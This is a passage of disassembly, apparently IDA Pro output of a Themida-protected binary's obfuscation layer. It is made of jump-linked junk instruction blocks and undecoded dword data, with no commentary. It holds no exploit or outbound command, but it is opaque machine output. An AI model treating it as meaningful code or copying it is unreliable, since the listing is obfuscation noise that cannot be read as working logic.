		dd 34FF2434h, 2434FF24h, 83240C8Bh, 895304C4h, 4C381E3h
		dd 83000000h, 1C8704C3h, 89565C24h, 4BA52E6h, 1000000h
		dd 0E9525AD6h, 0FFFF7259h, 804DF480h, 0C280C0EAh, 80E22820h
		dd 0C28020EAh, 0C046E9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AB3A:				; CODE XREF: Themida_:00567BA6j
		push	0C08h
		mov	[esp], edx
		mov	edx, esp
		push	esi
		mov	esi, 451879B3h
		xor	esi, 451879B7h
		jmp	loc_566860
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0A3h
		dd 81FABFE7h, 5023B1C1h, 0E9D1017Bh, 38A8h, 4C281h, 0EA830000h
		dd 24148704h, 9DDE9h, 40500h, 4870000h,	4C0DE924h, 0BA520000h
		dd 525D6607h, 524CE9h, 4CB06800h, 2C890000h, 5BFDBD24h
		dd 9DE95418h, 8BFFFF7Ch, 0C4832434h, 4EC8104h, 89000000h
		dd 68552434h, 9E47828h,	4C16E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56ABBE:				; CODE XREF: Themida_:0057090Cj
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	74E224F2h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56A953
; ---------------------------------------------------------------------------
		dd 0D66BBB53h, 0D829BB82h, 1928E9h, 81E58900h, 4C5h, 4BF5700h
		dd 1000000h, 2C875FFDh,	4015E924h, 0B951FFFFh, 66B32CF9h
		dd 759ABE56h, 0EE811FA9h, 19FA2A5Dh, 6F64E9h, 0F4805900h
		dd 0B7536642h, 0E9FC28DDh, 0FFFF4EB7h, 3439E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AC2A:				; CODE XREF: Themida_:0056FE23j
		add	eax, ebx
		pop	ebx
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55CF78
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 24048F04h, 8924248Bh, 9C502414h,	0FF2274E9h
		dd 533204FFh, 0EB80EEB3h, 0F6CBFE6Eh, 2BC380DBh, 45BD800h
		dd 2CD800B4h, 83AC2CB4h, 896602ECh, 0F6E92414h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AC77:				; CODE XREF: Themida_:0056FF12j
		pop	ebp
		jmp	loc_56BA93
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0ECh
		dd 4, 0E9243C89h, 0FFFFB1A9h, 4C281h, 0C2810000h, 4, 0FFF554E9h
		dd 2434FFFFh, 19FFE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56ACA6:				; CODE XREF: Themida_:00566426j
		sub	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 24C83AC9h
		shr	ecx, 8
		jmp	loc_570222
; ---------------------------------------------------------------------------


loc_56ACB7:				; CODE XREF: Themida_:0055D94Bj
		xor	edi, [esp]
		jmp	loc_566951
; ---------------------------------------------------------------------------
		db 89h
		dd 7DE92414h, 81000030h, 84B09C6h, 0E9CE0147h, 7793h, 0BD55E929h
		dd 122F0F67h, 0E95DE901h, 0FFFF5A8Ah, 34FFDE01h, 241C8B24h
		dd 0E9E08950h, 226Ch, 3324248Bh, 1C31241Ch, 4D35E924h
		dd 0EA830000h, 24148704h, 12D4E9h, 2434FF00h, 0FF42E6E9h
		dd 80D7B5FFh, 0C280CEEAh, 80EA288Fh, 0B0508FEAh, 4A24E9CEh
		dd 148B0000h, 4C48124h,	81000000h, 0C23697E2h, 6F2817Eh
		dd 814FEF33h, 2D0300EAh, 5AD18943h, 0FFE4F2E9h,	7E8C1FFh
		dd 8000C35h, 0A4B95100h, 0F7596944h, 20E949D1h,	83000060h
		dd 0E9042404h, 4544h, 0C681E689h, 4, 0FF8E4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AD79:				; CODE XREF: Themida_:0055DE6Dj
		push	edi
		push	eax
		mov	eax, 3741A2Eh
		shr	eax, 3
		sub	eax, 0DB3847CCh
		mov	edi, eax
		pop	eax
		neg	edi
		jmp	loc_56450F
; ---------------------------------------------------------------------------
		dw 8DBDh
		dd 81571F55h, 0E36B3EE9h, 81E92932h, 0E36B3EC1h, 7FE95D32h
		dd 0B9FFFFDCh, 4E87713Bh, 0C159CB09h, 0C8E903E3h, 5CFFFF39h
		dd 51242489h, 4B9h, 244C0100h, 2E95904h, 53FFFFD0h, 18876855h
		dd 7DE913A1h, 89FFFF5Fh, 22BE2434h, 0E943B566h,	0FFFFA562h
		dd 42474FFh, 592434FFh,	4C481h,	48F0000h, 24248B24h, 67E268h
		dd 24148900h, 0C281E289h, 4, 53E868h, 243C8900h, 85305EBFh
		dd 0CCEF8117h, 556FED78h, 5E6DE9h, 6CAE6800h, 1C890000h
		dd 68E38924h, 7230h, 0BF243C89h, 769C23B3h, 1C91BE56h
		dd 0F7291107h, 5854505Eh, 405h,	4E88300h, 8B240487h, 9AE92424h
		dd 0FF00006Fh, 348B2434h, 4C48324h, 16F1E9h, 68C6FE00h
		dd 2AB0h, 0E9240C89h, 0FFFFBAE7h, 4C581h, 0C5830000h, 242C8704h
		dd 5D8015Ch, 503C728Bh,	0BB535652h, 784460D2h, 505BDE89h
		dd 0F3D1E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AE9E:				; CODE XREF: Themida_:005688F6j
		pop	esp
		mov	[esp], ecx
		push	2BC1h
		jmp	loc_560CCA
; ---------------------------------------------------------------------------


loc_56AEAC:				; CODE XREF: Themida_:0056BB7Ej
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_566F12
; ---------------------------------------------------------------------------


loc_56AEB7:				; CODE XREF: Themida_:0056773Dj
		mov	esi, 4
		add	ebp, esi
		jmp	loc_56B465
; ---------------------------------------------------------------------------
		db 89h
		dd 4F0168E1h, 1C890000h, 4BB24h, 0BD550000h, 6EB879BFh
		dd 2D40E9h
		db 0
; ---------------------------------------------------------------------------


loc_56AEDD:				; CODE XREF: Themida_:00570C13j
		push	esi
		jmp	loc_569941
; ---------------------------------------------------------------------------


loc_56AEE3:				; CODE XREF: Themida_:0056E4CAj
		pop	ebx
		push	edi
		push	4619h
		mov	[esp], esi
		push	ecx
		mov	ecx, 482B4F01h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_565D6B
; ---------------------------------------------------------------------------


loc_56AF01:				; CODE XREF: Themida_:00568870j
		pop	ebp
		jmp	loc_5618D6
; ---------------------------------------------------------------------------
		db 0D2h
		dd 0E99C240Ch, 0FFFF1FB5h, 81240C8Bh, 4C4h, 6808E900h
		dd 24890000h, 24048124h, 4, 0FFED1CE9h,	40558FFh, 2D000000h
		dd 4, 5C240487h, 24048F54h, 0FF9116E9h,	48F54FFh, 24048124h
		dd 4, 5B2434FFh, 5704C483h, 454446BFh, 0F4C78123h, 475BB25Ch
		dd 1EF7EF81h, 0DFF757F5h, 21FEEF81h, 0EF817C1Dh, 5CE05BBAh
		dd 35B8B850h, 0D8F7018Fh, 502E8C1h, 0FD609Eh, 7F8EB235h
		dd 58C30117h, 0EB81FB01h, 57E61D82h, 4C3815Fh, 0E9000000h
		dd 828h, 5B669704h, 0FFD72CE9h,	5468BDFFh, 514D51A1h, 0B9h
		dd 89E92900h, 4D4D59CDh, 0AB93ED81h, 0EB89AE5Eh, 34C1815Dh
		dd 177F854h, 6DE952D9h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AFD7:				; CODE XREF: Themida_:00572189j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	dword ptr [edi+24h]


loc_56AFE9:				; CODE XREF: Themida_:005647F8j
		push	6111h
		mov	[esp], ebx
		jmp	loc_56364F
; ---------------------------------------------------------------------------
		dw 5468h
		dd 89000077h, 5DE92434h
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B003:				; CODE XREF: Themida_:00560138j
		mov	ebp, esp
		jmp	loc_5688DB
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 0FFC52BE9h, 0F7D8F7FFh, 0BDFF05D8h, 0C501A681h, 0E92434FFh
		dd 0FFFFA30Ah, 766068h,	242C8900h, 0BE56E589h, 395B4B01h
		dd 0FF444EE9h, 5BDD01FFh, 0F74DDDF7h, 5061E9D5h, 0C2830000h
		dd 2C8752FFh, 87D5F724h, 575A242Ch, 5238A668h, 92E95F0Fh
		dd 0F6FFFF43h, 67F680DEh, 0E95AF328h, 0FFFF9967h, 88C0EB80h
		dd 0D4305BDAh, 5ECC05Ah, 8081F480h, 0E328E7EBh,	58E7C380h
		dd 5CB55166h, 288AEB80h, 8AC380EBh, 0CFE95966h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B097:				; CODE XREF: Themida_:0056DDA6j
		sub	esp, 4
		jmp	loc_5709FD
; ---------------------------------------------------------------------------


loc_56B0A2:				; CODE XREF: Themida_:0055EFE9j
		add	esi, 4
		jmp	loc_55E6B0
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 2D7D5104h, 246C813Eh, 808C004h, 34FF5868h, 24048B24h
		dd 4C481h, 0C4830000h, 9A32E904h, 0C801FFFFh, 0C15A512Dh
		dd 6DE9592Bh, 52FFFF74h, 7229D1BAh, 29D5B972h, 0C0E97272h
		dd 89000061h, 240C8BCFh, 4C481h, 0FA010000h, 81243C8Bh
		dd 4C4h, 4EC8100h, 89000000h, 4B9240Ch,	0E9000000h, 0FFFF34AAh
; ---------------------------------------------------------------------------


loc_56B118:				; CODE XREF: Themida_:0056DBD9j
		add	edx, ebx
		add	edx, 109E7068h
		push	edi
		push	70216340h
		jmp	loc_55E69D
; ---------------------------------------------------------------------------


loc_56B12B:				; CODE XREF: Themida_:0056EE88j
		add	ebx, 12047BDBh
		add	esi, ebx
		pop	ebx
		jmp	loc_5692B9
; ---------------------------------------------------------------------------
		db 0BDh, 44h, 74h
		dd 0E5C10EAAh, 43ABE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B146:				; CODE XREF: Themida_:0055D224j
		push	edx
		mov	edx, 4
		mov	edi, edx
		pop	edx
		sub	edx, edi
		push	dword ptr [esp]
		jmp	loc_563B1E
; ---------------------------------------------------------------------------
		db 0B9h, 0C6h, 18h
		dd 3CE9560Dh, 81FFFF2Ah, 2EFDBBEAh, 5AD029F1h, 7405E801h
		dd 0FF4EF103h, 2C8B2434h, 4C48124h, 81000000h, 4C4h, 4BD5500h
		dd 1000000h, 4335DE8h, 0AF04E924h, 5457FFFFh, 4C7815Fh
		dd 50000000h, 4B8h, 8BC72900h, 6FE92404h, 81FFFFB1h, 2C4h
		dd 6244E900h, 0D0F60000h, 0D388C286h, 0AE95A66h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B1C7:				; CODE XREF: Themida_:0055F170j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_55E5E3
		push	ebp
		mov	ebp, 0
		jmp	loc_56CD74
; ---------------------------------------------------------------------------
		dd 94E986B2h, 89FFFFB5h, 4D9EE9EEh, 3C8B0000h, 4C48124h
		dd 81000000h, 4C4h, 7B9D6800h, 4890000h, 4B824h, 0C7010000h
		dd 8B2434FFh, 0C4812404h, 4, 4C481h, 68560000h,	4, 5EF7015Eh
		dd 2474FF57h, 69FAE904h, 0B3530000h, 0B25266ADh, 66D330A2h
		dd 5BD8285Ah, 9E04232Ch, 2460E953h, 0CF01FFFFh,	243C3359h
		dd 33243C31h, 248B243Ch, 6DC6824h, 28E90000h, 0E900003Ah
		dd 0FFFF1C61h, 47EB050h, 0CBC28036h, 0E981C280h, 2849h
		dd 559FE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B27A:				; CODE XREF: Themida_:00566FD8j
		push	99D7BE1h
		jmp	loc_562E36
; ---------------------------------------------------------------------------
		dd 6C7675BEh, 27C68124h, 0F7410170h, 4102E9D6h,	1489FFFFh
		dd 28BA24h, 0FA010000h,	23FCE9h, 4C48100h, 0C1000000h
		dd 0C78108E7h, 0FFFFFFFFh, 0DC03C781h, 0FE0180E5h, 2434875Fh
		dd 6624248Bh, 9C2404FFh, 0FF1BF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B2CD:				; CODE XREF: Themida_:0055CF83j
		mov	[esp], edi
		mov	edi, 54CE17BDh
		push	5F28h
		mov	[esp], ebx
		jmp	loc_5673B0
; ---------------------------------------------------------------------------


loc_56B2E2:				; CODE XREF: Themida_:0056E3CDj
		mov	eax, esp
		add	eax, 4
		push	ebp
		jmp	loc_56DC7A
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 3F40E900h, 489FFFFh, 16C4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B302:				; CODE XREF: Themida_:0055E336j
		push	3F77h
		mov	[esp], edi
		mov	edi, 272C24DAh
		add	edi, 0FA7EF6C4h
		add	edx, edi
		pop	edi
		add	edx, 0E713D310h
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		not	esi
		jmp	loc_55D5CF
; ---------------------------------------------------------------------------
aFpfwfxsf	db 'fPfWfXé”',27h,0
		align 4
		dd 0FD8C381h, 0D301311Ch, 0FD8BF57h, 0FB29311Ch, 24148B5Fh
		dd 5704C483h, 0C74952BFh, 31BB5367h, 812ED53Bh,	810D94EBh
		dd 0E3814305h, 628030B9h, 0D261EB81h, 0DF01A241h, 1840E9h
		dd 0E9819100h, 0C56098C6h, 0A7E9CE89h, 0BAFFFF9Bh, 45475DB9h
		dd 0FFFFEA81h, 0EC81FFFFh, 4, 3752E9h, 1946BF00h, 0F829450Fh
		dd 0A1B8505Fh, 0D5A527Bh, 6A1D1E9Ah, 3501E883h,	2ABA330Ch
		dd 0FF7538E9h, 0E9D301FFh, 0FFFFA1ADh
; ---------------------------------------------------------------------------


loc_56B3C0:				; CODE XREF: Themida_:0056E3C3j
		and	ebp, 58E26386h
		dec	ebp
		add	ebp, 5851F923h
		add	edx, ebp
		pop	ebp
		add	edx, ecx
		sub	edx, 68D23B26h
		xor	eax, [edx]
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	57CAh
		mov	[esp], ebx
		jmp	loc_56B90A
; ---------------------------------------------------------------------------


loc_56B3F1:				; CODE XREF: Themida_:0055E25Dj
		neg	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, 88DDB29Fh
		jmp	loc_571C85
; ---------------------------------------------------------------------------


loc_56B400:				; CODE XREF: Themida_:0056054Bj
		not	ecx
		jmp	loc_57077B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D259h, 2563E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B416:				; CODE XREF: Themida_:0055F1E8j
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_56F3C9
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 24C7147h
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_56A7AD
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 4EE81h, 34870000h, 0C895C24h,	4EC8324h
		dd 50241C89h, 0F48008B4h, 58E7889Bh, 0FF9BF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B465:				; CODE XREF: Themida_:0056AEBEj
		pop	esi
		jmp	loc_568F78
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFA9D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B471:				; CODE XREF: Themida_:00565BEAj
		pop	edx
		jmp	loc_55D138
; ---------------------------------------------------------------------------
		db 81h
		dd 4F080FEBh, 92C3814Ah, 0E910B57Ah, 1A28h, 11E9DAF7h
		dd 31000072h, 34332434h, 0C4835C24h, 243C3304h,	33243C31h
		dd 72E9243Ch
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B4A7:				; CODE XREF: Themida_:00571685j
		sub	ecx, 3E3ECDCh
		sub	ebp, 3A1815C2h
		sub	ebp, ecx
		jmp	loc_56E604
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 0A6685B00h, 89000068h,	0E4E9240Ch
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B4CF:				; CODE XREF: Themida_:00571870j
		add	esi, ecx
		add	esi, 3CE41730h
		push	ecx
		mov	ecx, 6ECB0803h
		add	ecx, 196619D7h
		push	ebp
		mov	ebp, 6DCC0ED0h
		jmp	loc_56F612
; ---------------------------------------------------------------------------


loc_56B4EE:				; CODE XREF: Themida_:0056931Aj
		xchg	edx, [esp]
		pop	esp
		push	esi
		push	ebx
		jmp	loc_56C1E7
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0AEh
		dd 15DA83Eh, 0AEC581F5h, 8B5DA83Eh, 97E92434h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B50F:				; CODE XREF: Themida_:00565DE1j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5710EF
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF19A0E9h, 55E689FFh, 4BDh,	5DEE0100h, 4C681h, 34870000h
		dd 78A5E924h, 34FFFFFFh
		db 24h,	5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56158E
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF5570h, 80B6B252h, 0EE92BEAh, 2900006Fh,	815A2414h
		dd 4ECh, 240C8900h, 0C043CEB9h,	59CA319Fh, 4FE9C681h, 0D60117B9h
		dd 4FE9EE81h, 815A17B9h, 0CA0467C7h, 81F70143h,	0CA0467EFh
		dd 335B5E43h, 4AE9243Ch
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B5A3:				; CODE XREF: Themida_:00564008j
		add	esi, 79A92E44h
		sub	esp, 4
		mov	[esp], esi
		pop	ebx
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_56DE00
; ---------------------------------------------------------------------------


loc_56B5BB:				; CODE XREF: Themida_:00562118j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	7C40h
		mov	[esp], ecx
		mov	ecx, 33292986h
		jmp	loc_56329C
; ---------------------------------------------------------------------------
		db 89h
		dd 4ED7E9C1h, 6855FFFFh, 7B1Bh,	68241489h, 4ABF7E40h, 0EA81425Ah
		dd 0FAA6FE62h, 15AD589h, 1A9BE9E8h, 1C890000h, 8047B324h
		dd 61E9F0CBh, 89FFFFFAh, 4812424h, 424h, 24048F00h, 4BE5650h
		dd 89000000h, 51E95EF0h, 8100004Dh, 986DA8C3h, 9ABA5260h
		dd 29051424h, 1BEFE9D3h, 0D301FFFFh, 5598E9h, 0C5814D00h
		dd 0BABF93D7h, 2C8BE929h, 4C48124h, 5000000h, 2BC15A51h
		dd 0FFFA75E9h, 0F6BF57FFh, 317ADA60h, 89E95FFAh, 0BAFFFF81h
		dd 54F14C66h, 6946E9h, 8EBC100h, 797BC381h, 0ADE92523h
		dd 81FFFF29h, 7303F8F1h, 59C8011Bh, 0FFC10F35h,	0E9C1015Bh
		dd 0FFFF50A3h, 6DE7EE81h, 0F70129C7h, 5954515Eh, 4BE56h
		dd 0F1010000h, 22C0E95Eh, 835FFFFFh, 0C78104C4h, 4, 7C5DBE56h
		dd 0F796494Dh, 0EEC196D0h, 0FFEE8108h, 81FFFFFFh, 385C96F6h
		dd 81DEF72Eh, 8EEE14C6h, 5EF7012Eh, 31243C33h, 0B0E9243Ch
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B6EB:				; CODE XREF: Themida_:0055E242j
		add	edx, 65D37963h
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55ED8C
; ---------------------------------------------------------------------------


loc_56B709:				; CODE XREF: Themida_:00569FA6j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 23B233FEh
		add	ebp, 0DC4DCC06h
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_55D1E0
; ---------------------------------------------------------------------------
		dd 2474FF56h, 48F5E04h,	82E95C24h, 0F7FFFF17h, 6018E9DDh
		dd 0B5510000h, 59E88889h, 0FFEBDDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B755:				; CODE XREF: Themida_:00567685j
		pop	ecx
		shr	edi, 6
		push	ebp
		mov	ebp, 7FF2727h
		or	edi, ebp
		pop	ebp
		neg	edi
		push	eax
		jmp	loc_56B95C
; ---------------------------------------------------------------------------


loc_56B76A:				; CODE XREF: Themida_:0056CD6Fj
		push	ecx
		mov	ecx, 3339123Fh
		mov	ebp, 33391243h
		sub	ebp, ecx
		jmp	loc_5722F0
; ---------------------------------------------------------------------------
		dd 0ED538CB8h, 58C12942h, 91E9CD29h, 5DFFFF65h,	0E924048Fh
		dd 0FFFF5158h
; ---------------------------------------------------------------------------


loc_56B794:				; CODE XREF: Themida_:0056E5B8j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_568F8F
; ---------------------------------------------------------------------------


loc_56B79F:				; CODE XREF: Themida_:0055EE73j
		push	dword ptr [edi+24h]
		jmp	loc_570AE5
; ---------------------------------------------------------------------------
		db 59h
		dd 802C522Ch, 5224148Bh, 61E6E9h, 4C48100h, 81000000h
		dd 9879CCEBh, 24348B3Eh, 0E904C483h, 5EF9h, 31241C33h
		dd 1C33241Ch, 24248B24h, 3DB4E9h, 3ABBD00h, 0ED816F59h
		dd 2D606434h, 0B850h, 0E8290000h, 5758C589h, 3A294ABFh
		dd 4BF7814Dh, 816BFD10h, 5E73D2CFh, 7AE94704h, 57FFFFEDh
		dd 0FE89C789h, 24048B5Fh, 0FFE9C5E9h, 0E9E689FFh, 23ECh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_56085A
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Bh,	241C335Ch, 0E9241C31h, 0FFFFBDCFh
		dd 685FFB29h, 29EBh, 0BE243489h, 5D6228E5h, 4F6FE9h, 5EF08900h
		dd 48BC129h, 4C48324h, 0E9240C87h, 380h
; ---------------------------------------------------------------------------


loc_56B870:				; CODE XREF: Themida_:00568824j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	ebx, 8
		and	ebx, 7AC833BCh
		add	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, 1194678Dh
		sub	ebx, edi
		pop	edi
		add	eax, 7E4E0A64h
		jmp	loc_567C49
; ---------------------------------------------------------------------------
		dd 0E95EF001h, 14F8h
; ---------------------------------------------------------------------------


loc_56B8A4:				; CODE XREF: Themida_:0055F090j
		shl	edx, 3
		sub	edx, 53B50D12h
		add	edx, 8729A0A5h
		add	edi, edx
		pop	edx
		add	edi, 3C2F1F12h
		pop	esi
		pop	ebp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_56008E
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FF1C4F09h, 0BDE92434h, 56FFFF3Fh, 4A22E0BEh, 5EF02111h
		dd 5FB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_56B8E5:				; CODE XREF: Themida_:0056EC44j
		sub	ecx, 60A76E75h
		sub	ecx, ebx
		add	ecx, 60A76E75h
		mov	ebx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56D647
; ---------------------------------------------------------------------------


loc_56B90A:				; CODE XREF: Themida_:0056B3ECj
		mov	ebx, 1BA35959h
		dec	ebx
		push	ebp
		push	681903CBh
		pop	ebp
		jmp	loc_567E6E
; ---------------------------------------------------------------------------
		db 29h,	0CEh, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 3C3A5732h
		jmp	loc_564EB8
; ---------------------------------------------------------------------------


loc_56B92D:				; CODE XREF: Themida_:00571C93j
		mov	edx, 374955A5h
		xor	edi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5635E8
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EC8304EEh, 240C8904h, 38F3B850h, 0E8C16C61h, 2FB95107h
		dd 0E9530A01h, 0FFFF8A43h
; ---------------------------------------------------------------------------


loc_56B95C:				; CODE XREF: Themida_:0056B765j
		mov	eax, 536927C4h
		add	edi, eax
		pop	eax
		push	edi
		add	dword ptr [esp], 14A4062h
		pop	ecx
		jmp	loc_56C975
; ---------------------------------------------------------------------------


loc_56B972:				; CODE XREF: Themida_:00564ED5j
		sub	edi, 0C9CD9741h
		or	edx, edi
		pop	edi
		and	edx, 124C0D07h
		not	edx
		xor	edx, 0EDB7FAFCh
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 7267519Fh
		shl	ebx, 1
		sub	ebx, 0E4CEA33Ah
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	79AF2282h
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_56CE56
; ---------------------------------------------------------------------------


loc_56B9C4:				; CODE XREF: Themida_:00562C97j
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_56F9EA
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89565B24h, 4C681E6h,	0E9000000h, 0FFFF9E5Bh,	3EEC15Dh
		dd 0BD55DEF7h, 3A7356CBh, 295DEE01h, 0F1A5E9F0h, 0CA89FFFFh
		dd 81240C8Bh, 4C4h, 6ECA8100h, 811BE270h, 107CEFF2h, 12EA8100h
		dd 0E92BFB4Bh, 0FFFF87F3h, 528FE95Bh, 0C2810000h, 0ED59C37Ah
		dd 26C5E9h, 0F5814500h,	162176F0h, 95DEA31h, 68565AD0h
		dd 52E743F9h, 55B6E9h, 58E30000h, 66ECC380h, 8124048Bh
		dd 2C4h, 2907E900h, 0D1010000h,	4080E957h, 0E2C10000h
		dd 3EAC103h, 4A32EA81h,	0D6011837h, 4EE815Ah, 0E9000000h
		dd 0FFFFE575h, 0B9240C89h, 4, 34FFC801h, 9DE95924h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56BA93:				; CODE XREF: Themida_:0056AC78j
		sub	edx, 338A2C59h
		jmp	loc_5631EA
; ---------------------------------------------------------------------------
		dw 0CA31h
		dd 0FFA628E9h, 0ECEABAFFh, 0D589DA2Eh, 5DE8315Ah, 1FD3EA81h
		dd 0C2290402h, 1FD3C281h, 3DE90402h, 88FFFFCEh,	0D839E9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BACA:				; CODE XREF: Themida_:00567330j
		mov	ebx, esp
		jmp	loc_56533F
; ---------------------------------------------------------------------------
		db 5Ch,	68h, 4Dh
		dd 89000011h, 2BA2414h,	1000000h, 0E2685AD0h, 89000066h
		dd 74FF2404h, 8F580424h, 248B2404h, 0D39E924h, 8B5A0000h
		dd 0C4812434h, 4, 0FFB9F8E9h, 9EEB81FFh, 5905E12Eh, 0AD1EF81h
		dd 0C781753Bh, 2965CC8h, 0EF81DF01h, 2965CC8h, 2D27E9h
		db 0
; ---------------------------------------------------------------------------


loc_56BB29:				; CODE XREF: Themida_:0056F75Bj
		push	ebp
		mov	ebp, 46C320D7h
		and	ebx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_562D0A
; ---------------------------------------------------------------------------


loc_56BB48:				; CODE XREF: Themida_:00570880j
		or	ebp, 0CC63D7h
		push	esi
		mov	esi, 30911FCDh
		jmp	loc_56A0F5
; ---------------------------------------------------------------------------


loc_56BB59:				; CODE XREF: Themida_:0056EF9Aj
		xchg	edx, [esp]
		jmp	loc_560134
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 1000000h, 4BEF05E8h,	34FF22D3h, 0C4835D24h, 24A9E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BB7A:				; CODE XREF: Themida_:0056938Dj
		pop	dword ptr [esp]
		pop	esi
		jmp	loc_56AEAC
; ---------------------------------------------------------------------------
		db 8Fh
		dd 16FBE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BB8A:				; CODE XREF: Themida_:0056D81Fj
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
		dw 9ABDh
		dd 2133F051h, 0DFF75DEFh, 6297F781h, 0EAE9560Bh, 80FFFF57h
		dd 0CCE9FFEAh
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BBB3:				; CODE XREF: Themida_:0056C862j
		mov	ebx, ebp
		pop	ebp
		sub	eax, 25333B93h
		sub	eax, 32E60348h
		add	eax, ebx
		push	edx
		mov	edx, 48A972C2h
		or	edx, 4D935484h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0
		sub	ebp, edx
		xchg	ebp, edx
		jmp	loc_570972
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 0E9240C33h, 0FFFFBA50h, 2434895Ch, 0DC15DD68h, 0F0295E2Dh
